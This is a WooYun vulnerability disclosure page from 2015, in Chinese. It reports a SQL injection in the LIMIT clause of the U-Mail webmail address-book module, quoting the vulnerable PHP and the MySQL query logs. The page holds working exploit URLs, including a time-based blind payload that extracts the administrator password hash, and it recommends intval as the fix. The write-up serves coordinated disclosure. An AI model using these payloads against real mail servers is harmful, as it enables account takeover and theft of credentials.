当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2015-93712

漏洞标题: U-Mail邮件系统注入(SQL Injections in MySQL LIMIT clause案例)

相关厂商: U-Mail

漏洞作者: Ano_Tom认证白帽子

提交时间: 2015-01-31 11:42

公开时间: 2015-04-29 11:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-31: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-04-29: 细节向公众公开

简要描述:

SQL Injections in MySQL LIMIT clause,恰巧该邮件系统这处存在缺陷,刚好来个案例展示,通过注入可以获取管理员密码

详细说明:

漏洞产生的原因,sql语句中的limit由用户可控,其处理不当因而导致了sql注入的产生

漏洞文件/client/oab/module/operates.php 代码为

code 区域
if ( ACTION == "member-get" )
{
$dept_id = gss( $_GET['dept_id'] );
$dept_id = intval( $dept_id );//此处不传入该变量
$keyword = gss( $_GET['keyword'] );
$page = $_GET['page'] ? gss( $_GET['page'] ) : 1;
$limit = $_GET['limit'] ? gss( $_GET['limit'] ) : 25;//此处的limit可控,不传入的话其值为25
$orderby = gss( $_GET['orderby'] );
$is_reverse = gss( $_GET['is_reverse'] );
$data_cache = $Department->getDepartmentByDomainID( $domain_id, "dept_id,name,parent_id,`order`", 0 );
$department_list = create_array( $data_cache, "dept_id", "name" );
$Tree = $Department->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$where = "t1.CalendarOnly='0'";
if ( $dept_id && $dept_id != "-1" )
{
$dept_ids = $Tree->get_child_id( $dept_id );
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
else
{
$dept_permit = get_session( "dept_permit" );
if ( $dept_permit == "1" )
{
$where_map = "user_id='".$user_id."'";
$arr_tmp = $Department->get_map( array(
"fields" => "*",
"where" => $where_map,
"orderby" => "dept_id",
"debug" => 0
) );
}
else if ( $dept_permit == "-1" )
{
$where_permit = "domain_id='".$domain_id."' AND user_id='".$user_id."'";
$arr_tmp = $Department->get_deptpermit( array(
"fields" => "*",
"where" => $where_permit,
"debug" => 0
) );
}
if ( $arr_tmp )
{
$dept_arr = array( );
foreach ( $arr_tmp as $arr )
{
$dept_arr[] = $Tree->get_child_id( $arr['dept_id'] );
}
$dept_ids = implode( ",", $dept_arr );
}
if ( $dept_ids )
{
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
}
if ( $keyword )
{
if ( strpos( $keyword, "@" ) )
{
$key_tmp = explode( "@", $keyword );
$keyword = $key_tmp[0];
}
$where .= " AND (t1.FullName LIKE \"%".$keyword."%\" OR t1.Mailbox LIKE \"%".$keyword."%\")";
}
switch ( $orderby )
{
case "fullname" :
......
case "email" :
$orderby = "t1.Mailbox";
break;
$orderby = "";
}
$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, $page, $limit, $orderby, $is_reverse, 0 );//todo 分析该函数



其中$Mailbox->getMailboxInfo()函数里的逻辑如下,代码在/admin/lib/Mailbox.php

code 区域
public function getMailboxInfo( $_obfuscate_AkPSczrCIu40, $_obfuscate_IRFhnYwÿ = "", $_obfuscate_AedrEgÿÿ = "", $_obfuscate_xvYeh9Iÿ = "", $_obfuscate_tUi30UB0e88ÿ = "", $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ = FALSE, $_obfuscate_ySeUHBwÿ = FALSE )
{
$_obfuscate_AkPSczrCIu40 = intval( $_obfuscate_AkPSczrCIu40 );
$_obfuscate_zbtFQY92OYenSG9u = "t1.DomainID='".$_obfuscate_AkPSczrCIu40."' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0";
if ( $_obfuscate_IRFhnYwÿ )
{
$_obfuscate_zbtFQY92OYenSG9u .= " AND ".$_obfuscate_IRFhnYwÿ;
}
if ( $_obfuscate_xvYeh9Iÿ )
{
if ( $_obfuscate_AedrEgÿÿ )
{
$_obfuscate_mV9HBLYÿ = $_obfuscate_AedrEgÿÿ * $_obfuscate_xvYeh9Iÿ - $_obfuscate_xvYeh9Iÿ;
}
if ( $_obfuscate_mV9HBLYÿ )
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_mV9HBLYÿ.",".$_obfuscate_xvYeh9Iÿ;
}
else
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_xvYeh9Iÿ;//此处将获取的limit拼接志sql语句,只需要控制相应的参数为空即可
}
}
if ( $_obfuscate_tUi30UB0e88ÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY ".$_obfuscate_tUi30UB0e88ÿ;
if ( $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ .= " DESC";
}
$_obfuscate_5e2O0TiivW7ec4cÿ .= ",t1.FullName ASC";
}
else
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY t1.OrderNo DESC,t1.Mailbox ASC";
}
$_obfuscate_mGXfswsMZQÿÿ = "SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*\r\n\t\t\t\tFROM ".$this->get_table_name( "mailbox" )." as t1, ".$this->get_table_name( "info" )." as t2\r\n\t\t\t\tWHERE ".$_obfuscate_zbtFQY92OYenSG9u."\r\n\t\t\t\t".$_obfuscate_5e2O0TiivW7ec4cÿ;
$_obfuscate_YdwIclUMQÿÿ = $_obfuscate_mGXfswsMZQÿÿ." ".$_obfuscate_UFlHiZJcJu6DQBFE;
if ( $_obfuscate_ySeUHBwÿ )
{
dump( $_obfuscate_YdwIclUMQÿÿ );
}
$_obfuscate_MbMfEtWGUpEscGl = $this->db_count( $_obfuscate_mGXfswsMZQÿÿ );
unset( $_obfuscate_1LzzW8sGEkLaizkÿ );
$_obfuscate_6RYLWQÿÿ = $this->db_select( $_obfuscate_YdwIclUMQÿÿ, "more" );
return array(
"count" => $_obfuscate_MbMfEtWGUpEscGl,
"data" => $_obfuscate_6RYLWQÿÿ
);
}



该函数的调用过程为,http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get

普通用户登录后,执行该请求,查看sql的执行过程如下

code 区域
150124 13:53:59	 2772 Query	SELECT DomainName from domains
2772 Query SELECT UserID, Mailbox, FullName, MailDir, Password, AutoDecode, IsForwarding, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, HideFromEveryone, EncryptMail, ApplyQuotas, EnableMultiPop, CanModifyGAB, CalendarOnly, MaxMessageCount, MaxDiskSpace, UserList.DomainID, Domains.DomainName, Domains.DomainID FROM UserList, Domains WHERE UserList.DomainID=Domains.DomainID AND FullName = 'mdaemon server' AND DomainName = '**.**.**.**'
2772 Query SELECT DomainName from domains
2772 Query SELECT * FROM Domains
2880 Connect umail@localhost on
2880 Query SET NAMES 'UTF8'
2880 Init DB umail
2880 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 25



即LIMIT 25处是用户可控的,我们在url请求中添加limit变量,继续提交sql语句为http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1+PROCEDURE+analyse(extractvalue(rand(),concat(0x3a,version())),1)

查看sql语句执行的情况如下

code 区域
150124 14:06:57	 2888 Connect	umail@localhost on 
2888 Query SET NAMES 'UTF8'
2888 Init DB umail
2888 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,version())),1)
2888 Quit



如图

a.png



成功插入,由于该邮件系统默认关闭了错误回显,因而我们无法直接查看结果,本地sql执行的情况为

b.png



所以如想继续获取敏感信息,我们利用盲注即可,构造获取管理员密码的exp为

http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)

c.png



sql语句为

code 区域
150124 14:43:21	 2911 Connect	umail@localhost on 
2911 Query SET NAMES 'UTF8'
2911 Init DB umail
2911 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)



d.png



ok,这样即可获取管理员密码,并不鸡肋,从而获得整个邮件系统的权限了,在继续对邮件系统进行查找,发现其他三处并不存在注入,虽然limit可控,但执行了intval处理,因而不存在缺陷,如图

e.png



关于limit的注入,查看社区文章http://**.**.**.**/content/18220 (原版链接https://**.**.**.**/blog/sql-injections-in-mysql-limit-clause/)感谢转载翻译的作者“五道口杀气”以及原作者() :)

漏洞证明:

如上

修复方案:

进行intval处理

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-02-02 10:36

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-29 11:46 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    0

    @一下管理果然好使。。。。瞬间审核

  2. 2015-01-29 14:22 | Smilent ( 实习白帽子 | Rank:38 漏洞数:7 | None)
    0

    -.--.-.--.--.-. U-Mail系列

登录后才能发表评论,请先 登录